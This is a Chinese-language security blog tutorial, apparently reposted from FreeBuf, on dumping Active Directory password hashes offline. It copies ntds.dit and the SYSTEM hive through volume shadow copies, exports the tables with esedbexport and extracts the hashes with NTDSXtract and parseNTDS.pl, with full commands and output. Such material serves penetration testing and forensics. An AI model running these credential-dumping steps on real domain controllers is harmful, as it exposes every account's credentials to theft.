使用NTDSXtract离线抓取Domain Hash - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
2018-03-17 22:46:11 Author: www.freebuf.com(查看原文) 阅读量:252 收藏

下载NTDSX

http://www.ntdsxtract.com/ 

下载libesedb 

http://code.google.com/p/libesedb/ 

获得ntds.dit和SYSTEM文件: 2008和2012的域控用ntdsutil命令,网上有。

2008以下的域控,创建磁盘的shadow copy,然后拷贝ntds.dit和system。 
有两个工具可共选择:Vssown.vbs 网上都有,很简单。 
windows的VSSSDK

去官网上下载,是个SDK需要安装,安装完后VSSSDK72\TestApps\vshadow目录下有源码和bin文件vshadow.exe,bin文件可以直接用,xp和2003的两个版本都有。网上也有单独的vshadow.exe文件。

vshadow.exe -exec=%ComSpec% C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .
Exit
Exit

网上有个bat,也可以用。

http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

保存为CopyFile.cmd,和vshadow.exe放在同一目录下。

CopyFile.cmd c:\windows\system32\config\system c:\
Linux:
编译libesedb:
下载libesedb,文件名:libesedb-alpha-20120102.tar.gz。
解压:
tar -xf libesedb-alpha-20120102.tar.gz cd libesedb-20120102 ./configure make

提取ntds.dit中的表:

./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit

root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export

datatable.3
link_table.4
MSysObjects.0
MSysUnicodeFixupVer1.2
quota_table.8 sd_table.7

hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

我们只需要datatable 和 link_table。

解析ntds文件:

下载NTDSXtract,文件名:ntdsxtract_v1_0.zip。

解压:

cd esedbtools/
./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit
root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export
datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7
hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6
使用parseNTDS.pl:

parseNTDS.pl 用来处理NTDSX的结果。

http://www.cyberis.co.uk/downloads/parseNTDS.pl

Linux创建一个这个文件,赋予可执行权限,chmod +x parseNTDS.pl

将NTDSX的结果重定向到文件ntds.output;

python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 –passwordhashes ../NTDS/system > ../NTDS/ntds.output
./paresNTDS.pl -f ./ntds.output –lmonly 只显示hash值;
./paresNTDS.pl -f ./ntds.output –removedisable 去除无效账户;

其他的看usage,讲得很清楚。

Windows:
编译libesedb:

解压libesedb压缩包,msvscpp文件夹下有个Visual Studio 2008的 解决方案文件,用2008或

以上编译器打开,编译全部文件即可;不要修改其项目配置,编译不会出现问题。

使用\msvscpp\Release\esedbexport.exe文件提取ntds.dit文件中的表。

同目录下libesedb.dll是其依赖库,要放在一起。

提取ntds.dit中的表:

和Linux下一样,

esedbexport.exe -l .\ntds.log -t .\ntds.dit .\ntds.dit

Opening file.

Exporting table 1 (MSysObjects) out of 11.

Exporting table 2 (MSysObjectsShadow) out of 11.

Exporting table 3 (MSysUnicodeFixupVer1) out of 11.

Exporting table 4 (datatable) out of 11.

Exporting table 5 (link_table) out of 11.

Exporting table 6 (hiddentable) out of 11.

Exporting table 7 (sdproptable) out of 11.

Exporting table 8 (sd_table) out of 11.

Exporting table 9 (quota_table) out of 11.

Exporting table 10 (quota_rebuild_progress_table) out of 11.

Exporting table 11 (MSysDefrag1) out of 11.

Export completed.

只需要datatable和link_table。

解析ntds文件:

Windows上需要安装python。本人装的是Python 2.6。

由于NTDSX使用到了python的一个加密库文件pycrypto,所以我们需要下一个。

官网:

http://pypi.python.org/pypi/pycrypto/2.6

下载后需要编译,windows上编译比较麻烦。

http://www.voidspace.org.uk/python/modules.shtml#pycrypto

这里有已编译好的。

安装完python再安装pycrypto即可。

其他的跟Linux上一样的。

python dsusers.py ..\ntds.dit.export\datatable.3 ..\ntds.dit.export\link_table.4 –passwordhashes ..\system –passwordhistory ..\system –member ..\system
使用parseNTDS.pl:

和linux一样,有perl环境就行。

源自:http://www.0x7c.com/?p=450

欢迎一起交流学习


文章来源: http://www.freebuf.com/articles/system/7205.html
如有侵权请联系:admin#unsafe.sh